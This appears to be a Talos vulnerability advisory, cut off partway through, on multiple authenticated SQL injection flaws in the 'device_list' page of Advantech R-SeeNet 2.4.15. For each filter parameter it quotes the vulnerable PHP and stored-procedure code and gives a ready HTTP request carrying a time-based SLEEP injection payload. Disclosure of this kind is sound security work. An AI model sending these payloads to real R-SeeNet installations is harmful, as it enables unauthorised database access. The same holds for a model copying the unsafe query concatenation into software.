Talos Vulnerability Report

Advantech R-SeeNet application multiple SQL injection vulnerabilities in the 'device_list' page

CVE NUMBER

CVE-2021-21924,CVE-2021-21925,CVE-21926,CVE-2021-21927,CVE-2021-21928,CVE-2021-21929,CVE-2021-21930,CVE-2021-21931,CVE-2021-21932,CVE-2021-21933,CVE-2021-21934,CVE-2021-21935,CVE-2021-21936,CVE-2021-21937

Summary

Multiple exploitable SQL injection vulnerabilities exist in the 'device_list' page of the Advantech R-SeeNet 2.4.15 (30.07.2021). A specially-crafted HTTP request can lead to SQL injection. An attacker can make authenticated HTTP requests to trigger these vulnerabilities. This can be done as any authenticated user or through cross-site request forgery.

Tested Versions

Advantech R-SeeNet Advantech R-SeeNet 2.4.15 (30.07.2021)

Product URLs

https://ep.advantech-bb.cz/products/software/r-seenet

CVSSv3 Score

7.7 - CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CWE

CWE-89 - Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

Details

R-SeeNet is the software system used for monitoring Advantech routers. It continuously collects information from individual routers in the network and records the data into a SQL database.

These particular vulnerabilities exists due to misuse of prepared statements in the context of the application, along with stored procedures combined with SQL concatination in such way that variables used to build up an SQL query, despite being initially sanitized, lose that protection when invoked against the database. An example of this can be seen in one of the stored procedures below, where a final prepared statement is simply taken from the @sql variable without specific parameter bindings. This introduces a SQL injection vulnerability into the statement on line 927 below, from the original SQL file used during installation (companies.sql):

```
777 CREATE DEFINER=`root`@`localhost` PROCEDURE `sp_GetDevicesUser`(params VARCHAR(255), id INT(5))
778 BEGIN
779
780                                          SET @dev_num = 0;
781
782                                          DROP TABLE IF EXISTS device_list;
783              CREATE TEMPORARY TABLE device_list ENGINE=MEMORY SELECT
784                @dev_num := @dev_num + 1 as dev_num,
785
786
787      devices.device_id,
788      devices.group_id,
789      devices.enabled,
790      devices.hostname,
791      devices.hostname_alt,
792      devices.hostname_alt2,
793      devices.community,
794      devices.description,
795      devices.location,
796      devices.coordinates,
797      devices.note,
798      devices.name,
799      devices.product,
800      devices.firmware,
801      devices.mac,
802      devices.sn,
803      devices.imei,
804      devices.esn,
805      devices.last_rx,
806      devices.last_tx,
807      devices.last_rx2,
808      devices.last_tx2,
809      devices.last_rx3,
810      devices.last_tx3,
811      devices.accounting_start,
812      devices.accounting_start_alt,
813      devices.accounting_start_alt2,
814      devices.rx_account,
815      devices.tx_account,
816      devices.rx_account_alt,
817      devices.tx_account_alt,
818      devices.rx_account_alt2,
819      devices.tx_account_alt2,
820      devices.last_connect,
821      devices.last_connect2,
822      devices.last_connect3,
823      devices.cfg_update_time,
824      devices.last_status,
825      devices.last_level,
826      devices.last_quality,
827      devices.last_temp,
828      devices.last_volt,
829      devices.autoupdate,
830
831
832      IF(devices.health =0,0,IF(devices.health > 0 && (devices.health < max_fails) ,1,2)) as health,
833      IF(devices.health_alt =0,0,IF(devices.health_alt > 0 && (devices.health_alt < max_fails) ,1,2)) as health_alt,
834      IF(devices.health_alt2 =0,0,IF(devices.health_alt2 > 0 && (devices.health_alt2 < max_fails) ,1,2)) as health_alt2,
835
836      devices.last_time_act,
837      devices.last_time_act_alt,
838      devices.last_time_act_alt2,
839      devices.phone,
840      devices.phone_alt,
841      devices.period,
842      devices.trap,
843      devices.read_location,
844      devices.read_gps,
845      devices.new,
846      devices.new_time,
847      devices.uptime,
848      devices.read_temp_volt,
849      devices.num_send_avail,
850      devices.num_fails_msg,
851
852
853              tx_account + rx_account as total,
854              tx_account_alt + rx_account_alt as total_alt,
855              tx_account_alt2 + rx_account_alt2 as total_alt2,
856              groups.description as group_desc,
857              groups.level_limit as level_limit,
858              groups.traffic_limit as traffic_limit,
859              groups.traffic_limit_alt as traffic_limit_alt,
860              groups.traffic_limit_alt2 as traffic_limit_alt2,
861              groups.temp_limit_lo as temp_limit_lo,
862              groups.temp_limit_hi as temp_limit_hi,
863              groups.volt_limit_lo as volt_limit_lo,
864              groups.volt_limit_hi as volt_limit_hi,
865              groups.qual_limit_lo as qual_limit_lo,
866              groups.max_fails as max_fails,
867                  devices.snmp_prot
868            FROM devices, groups WHERE devices.group_id IN (SELECT user_group.group_id FROM user_group WHERE user_group.user_id = id)
AND devices.group_id = groups.group_id ORDER BY device_id;
869
870            SET @sql = CONCAT('SELECT
871              dev_num,
872              device_id,
873              description,
874              hostname,
875              hostname_alt,
876              hostname_alt2,
877              location,
878              coordinates,
879              note,
880              enabled,
881              product,
882              firmware,
883              sn,
884              imei,
885              esn,
886              tx_account,
887              rx_account,
888              total,
889              tx_account_alt,
890              rx_account_alt,
891              total_alt,
892              tx_account_alt2,
```

```
893              rx_account_alt2,
894              total_alt2,
895              last_level,
896              last_status,
897              autoupdate,
898              health,
899              health_alt,
900              health_alt2,
901              DATE_FORMAT(last_time_act,"%d-%m-%Y %H:%i"),
902              DATE_FORMAT(last_time_act_alt,"%d-%m-%Y %H:%i"),
903              DATE_FORMAT(last_time_act_alt2,"%d-%m-%Y %H:%i"),
904              trap,
905              mac,
906              group_desc,
907              NULL,
908              uptime,
909              new,
910              last_quality,
911              last_temp,
912              last_volt,
913              level_limit,
914              traffic_limit,
915              traffic_limit_alt,
916              traffic_limit_alt2,
917              temp_limit_lo,
918              temp_limit_hi,
919              volt_limit_lo,
920              volt_limit_hi,
921              qual_limit_lo,
922              name,
923              max_fails,
924                  snmp_prot
925          FROM device_list WHERE ""="" ',params) ;
926
927                          PREPARE stmt FROM @sql;
928
929                          EXECUTE stmt;
930
931                          DEALLOCATE PREPARE stmt;
932
933                      END$$
```

CVE-2021-21924 - 'desc_filter' parameter

Parameter desc_filter is set as session variable on line 209 of device_list.php as seen below:

```
207   if(isset($_GET['desc_filter']))
208   { // je nastaven filtr description
209     $_SESSION['desc_filter'] = urldecode($_GET['desc_filter']);
210   }
```

Following the above code, a variable is used on line 569 in the following code to build up a SQL query which will get executed on line 869:

```
565   $sql = '';
566
567   if((isset($_SESSION['desc_filter'])) && ($_SESSION['desc_filter'] != ''))
568   {
569     $sql = $sql.'AND description LIKE "%'.mysqli_real_escape_string($link,$_SESSION['desc_filter']).'%" ';
570   }
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?page=device_list&host_filter=a&health_filter=a&desc_filter=a1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--
%20&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21925 - 'firm_filter' parameter

Parameter firm_filter is set as a session variable on line 265 of device_list.php as seen below:

```
262   if(isset($_GET['firm_filter']))
263   { // je nastaven filtr firmware
264       $_SESSION['firm_filter'] = urldecode($_GET['firm_filter']);
265   }
```

Following the above code, a variable is used on line 609 in the following code to build up a SQL query which will get executed on line 869:

```
607   if((isset($_SESSION['firm_filter'])) && ($_SESSION['firm_filter'] != ''))
608   {
609       $sql = $sql.'AND firmware="'.mysqli_real_escape_string($link,$_SESSION['firm_filter']).'" ';
610   }
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858       $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862       $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866       $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869       $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a1%22%20AND%20(SELECT%201%
20FROM%20(SELECT(SLEEP(5)))a)--%20&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21926 - 'health_filter' parameter

Parameter health_filter is set as a session variable on line 219 of device_list.php as seen below:

```
217   if(isset($_GET['health_filter']))
218   { // je nastaven filtr health
219       $_SESSION['health_filter'] = $_GET['health_filter'];
220   }
```

Following the above code, a variable is used on line 788 in the following code to build up a SQL query which will get executed on line 869:

```
782   list($health_gray) = mysqli_fetch_row($result);
783
784   if((isset($_SESSION['health_filter'])) && ($_SESSION['health_filter'] != ''))
785   {
786       if($_SESSION['health_filter'] != 3)
787       {
788         $sql = $sql.'AND health = "'.mysqli_real_escape_string($link,$_SESSION['health_filter']).'" ';
789       }
790       else
791       { // v pripade, ze filter = 3 hledame routry s priznakem new
792         $sql = $sql.'AND new = "1" ';
793       }
794   }
795
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858       $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862       $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866       $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869       $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?page=device_list&host_filter=a&health_filter=a1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--
%20&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21927 - 'loc_filter' parameter

Parameter loc_filter is set as a session variable on line 249 of device_list.php as seen below:

```
247    if(isset($_GET['loc_filter']))
248    { // je nastaven filtr location
249      $_SESSION['loc_filter'] = urldecode($_GET['loc_filter']);
250    }
```

Following the above code, a variable is used on line 594 in the following code to build up a SQL query which will get executed on line 869:

```
592    if((isset($_SESSION['loc_filter'])) && ($_SESSION['loc_filter'] != ''))
593    {
594      $sql = $sql.'AND location LIKE "%'.mysqli_real_escape_string($link,$_SESSION['loc_filter']).'%" ';
595    }
[...]
854    $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856    if( is_superadmin() && ($company_id == 0) )
857    { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858      $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859    }
860    else if( is_admin() )
861    {
862      $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863    }
864    else
865    {
866      $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867    }
868    // vykonani SQL prikazu
869      $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=aa1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--
%20&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21928 - 'mac_filter' parameter

Parameter mac_filter is set as a session variable on line 284 of device_list.php as seen below:

```
282    if(isset($_GET['mac_filter']))
283    { // je nastaven filtr MAC
284      $_SESSION['mac_filter'] = urldecode($_GET['mac_filter']);
285    }
```

Following the above code, a variable is used on line 629 in the following code to build up a SQL query which will get executed on line 869:

```
627    if((isset($_SESSION['mac_filter'])) && ($_SESSION['mac_filter'] != ''))
628    {
629        $sql = $sql.'AND mac LIKE "%'.mysqli_real_escape_string($link,$_SESSION['mac_filter']).'%" ';
630    }
[...]
854    $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856    if( is_superadmin() && ($company_id == 0) )
857    { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858        $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859    }
860    else if( is_admin() )
861    {
862        $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863    }
864    else
865    {
866        $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867    }
868    // vykonani SQL prikazu
869        $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a
1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21929 - 'prod_filter' parameter

Parameter prod_filter is set as a session variable on line 244 of device_list.php as seen below:

```
242    if(isset($_GET['prod_filter']))
243    { // je nastaven filtr product
244        $_SESSION['prod_filter'] = urldecode($_GET['prod_filter']);
245    }
246
```

Following the above code, a variable is used on line 589 in the following code to build up a SQL query which will get executed on line 869:

```
587    if((isset($_SESSION['prod_filter'])) && ($_SESSION['prod_filter'] != ''))
588    {
589        $sql = $sql.'AND product="'.mysqli_real_escape_string($link,$_SESSION['prod_filter']).'" ';
590    }
591
[...]
854    $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856    if( is_superadmin() && ($company_id == 0) )
857    { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858        $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859    }
860    else if( is_admin() )
861    {
862        $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863    }
864    else
865    {
866        $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867    }
868    // vykonani SQL prikazu
869        $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a1%22%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a
)--%20&stat_filter=&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21930 - 'sn_filter' parameter

Parameter sn_filter is set as a session variable on line 269 of device_list.php as seen below:

```
267   if(isset($_GET['sn_filter']))
268   { // je nastaven filtr sn
269       $_SESSION['sn_filter'] = urldecode($_GET['sn_filter']);
270   }
271
```

Following the above code, a variable is used on line 614 in the following code to build up a SQL query which will get executed on line 869:

```
612   if((isset($_SESSION['sn_filter'])) && ($_SESSION['sn_filter'] != ''))
613   {
614       $sql = $sql.'AND sn LIKE "%'.mysqli_real_escape_string($link,$_SESSION['sn_filter']).'%" ';
615   }
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858       $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862       $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866       $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869       $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=&firm_filter=a&sn_filter=a1%22%20AND%20(
SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21931 - 'stat_filter' parameter

Parameter mac_filter is set as a session variable on line 259 of device_list.php as seen below:

```
257   if(isset($_GET['stat_filter']))
258   { // je nastaven filtr location
259       $_SESSION['stat_filter'] = urldecode($_GET['stat_filter']);
260   }
```

Following the above code, a variable is used on line 604 in the following code to build up a SQL query which will get executed on line 869:

```
602   if((isset($_SESSION['stat_filter'])) && ($_SESSION['stat_filter'] != ''))
603   {
604       $sql = $sql.'AND last_status="'.mysqli_real_escape_string($link,$_SESSION['stat_filter']).'" ';
605   }
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858       $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862       $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866       $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869       $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a1%22%20AND%20(SELECT%201%20FROM%20(SELE
CT(SLEEP(5)))a)--%20&firm_filter=a&sn_filter=a&mac_filter=a HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21932 - 'name_filter' parameter

Parameter name_filter is set as a session variable on line 294 of device_list.php as seen below:

```
292    if(isset($_GET['name_filter']))
293    { // je nastaven filtr product
294      $_SESSION['name_filter'] = urldecode($_GET['name_filter']);
295    }
```

Following the above code, a variable is used on line 639 in the following code to build up a SQL query which will get executed on line 869:

```
637    if((isset($_SESSION['name_filter'])) && ($_SESSION['name_filter'] != ''))
638    {
639      $sql = $sql.'AND name LIKE "%'.mysqli_real_escape_string($link,$_SESSION['name_filter']).'%" ';
640    }
641
[...]
854    $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856    if( is_superadmin() && ($company_id == 0) )
857    { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858      $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859    }
860    else if( is_admin() )
861    {
862      $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863    }
864    else
865    {
866      $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867    }
868    // vykonani SQL prikazu
869      $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=a&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1a"%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21933 - 'esn_filter' parameter

Parameter esn_filter is set as a session variable on line 279 of device_list.php as seen below:

```
277    if(isset($_GET['esn_filter']))
278    { // je nastaven filtr esn
279      $_SESSION['esn_filter'] = urldecode($_GET['esn_filter']);
280    }
```

Following the above code, a variable is used on line 624 in the following code to build up a SQL query which will get executed on line 869:

```
622   if((isset($_SESSION['esn_filter'])) && ($_SESSION['esn_filter'] != ''))
623   {
624     $sql = $sql.'AND esn LIKE "%'.mysqli_real_escape_string($link,$_SESSION['esn_filter']).'%" ';
625   }
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a"%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21934 - 'imei_filter' parameter

Parameter imei_filter is set as a session variable on line 274 of device_list.php as seen below:

```
272   if(isset($_GET['imei_filter']))
273   { // je nastaven filtr imei
274     $_SESSION['imei_filter'] = urldecode($_GET['imei_filter']);
275   }
276
```

Following the above code, a variable is used on line 619 in the following code to build up a SQL query which will get executed on line 869:

```
616
617   if((isset($_SESSION['imei_filter'])) && ($_SESSION['imei_filter'] != ''))
618   {
619     $sql = $sql.'AND imei LIKE "%'.mysqli_real_escape_string($link,$_SESSION['imei_filter']).'%" ';
620   }
621
[...]
854   $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856   if( is_superadmin() && ($company_id == 0) )
857   { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858     $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859   }
860   else if( is_admin() )
861   {
862     $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863   }
864   else
865   {
866     $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867   }
868   // vykonani SQL prikazu
869     $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a&imei_filter="%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21935 - 'host_alt_filter2' parameter

Parameter host_alt_filter2 is set as a session variable on line 234 of device_list.php as seen below:

```
232    if(isset($_GET['host_alt_filter2']))
233    { // je nastaven filtr hostname alt 2
234      $_SESSION['host_alt_filter2'] = urldecode($_GET['host_alt_filter2']);
235    }
236
```

Following the above code, a variable is used on line 584 in the following code to build up a SQL query which will get executed on line 869:

```
582    if((isset($_SESSION['host_alt_filter2'])) && ($_SESSION['host_alt_filter2'] != ''))
583    {
584      $sql = $sql.'AND hostname_alt2 LIKE "%'.mysqli_real_escape_string($link,$_SESSION['host_alt_filter2']).'%" ';
585    }
[...]
854    $sql = $sql.'LIMIT '. (($set - 1) * $_SESSION['count_on_page']).','.$_SESSION['count_on_page'];
855
856    if( is_superadmin() && ($company_id == 0) )
857    { // prihlaseny superadmin, ktery nema vybranou konkretni firmu uvidi vse
858      $sql = 'call sp_GetDevicesAll(\''.$sql.'\')';
859    }
860    else if( is_admin() )
861    {
862      $sql = 'call sp_GetDevicesCompany(\''.$sql.'\',\''.get_company_id().'\')';
863    }
864    else
865    {
866      $sql = 'call sp_GetDevicesUser(\''.$sql.'\',\''.get_user_id().'\')';
867    }
868    // vykonani SQL prikazu
869      $result = db_multi_query($link, $sql);
```

Example exploitation could be constructed as follows:

```
GET /r-seenet/index.php?
page=device_list&host_filter=a&health_filter=a&desc_filter=a&loc_filter=a&prod_filter=a&stat_filter=1&firm_filter=a&sn_filter=a&mac_filter=a
&name_filter=1&esn_filter=a&imei_filter=a&host_alt_filter2="%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(5)))a)--%20 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36
Edge/18.18362
Connection: Keep-Alive
Cookie: PHPSESSID=[SESSION ID]
Content-Length: 0
Host: [IP]
```

CVE-2021-21936 – 'health_alt_filter' parameter

Parameter health_alt_filter is set as a session variable on line 229 of device_list.php as seen below:

```
226
227    if(isset($_GET['health_alt_filter']))
228    { // je nastaven filtr health alt
229      $_SESSION['health_alt_filter'] = $_GET['health_alt_filter'];
230    }
231
```

Following the above code, a variable is used on line 800 in the following code to build up a SQL query which will get executed on line 869:

```
796    if((isset($_SESSION['health_alt_filter'])) && ($_SESSION['health_alt_filter'] != ''))
797    {
798      if( $_SESSION['health_alt_filter'] != 3 )
799      {
800        $sql = $sql.'AND health_alt = "'.mysqli_real_escape_string($link,$_SESSION['health_alt_filter']).'" ';
801      }
802      else
